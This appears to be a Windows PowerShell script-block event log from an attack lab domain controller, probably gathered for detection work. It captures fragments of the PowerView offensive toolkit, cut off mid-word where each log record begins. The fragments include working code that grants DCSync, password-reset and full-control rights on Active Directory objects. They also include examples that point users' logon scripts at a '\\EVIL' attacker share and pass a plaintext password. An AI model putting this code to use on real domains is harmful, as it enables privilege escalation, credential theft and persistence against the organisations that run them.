$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirecac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111936Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1948xtended
rights GUID can be set with -RightsGUID. These rights are granted on the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.LINK
https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# add all the new ACEs to the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Remove-DomainObjectAcl {
<#
.SYNOPSIS
Removes an ACL from a specific active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111933Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1648ory ServerAdmins -Domain testlab.local
ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2
AttributeName : member
AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
TimeDeleted : 2017-04-10T22:17:19Z
TimeCreated : 2017-04-10T22:17:19Z
LastOriginatingChange : 2017-04-10T22:17:19Z
Version : 1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.ADObjectLinkedAttributeHistory
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObjectLinkedAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Set-DomainObject {
<#
.SYNOPSIS
Modifies a gven property for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-Lac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111931Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1448Arguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$CompSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($CompSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
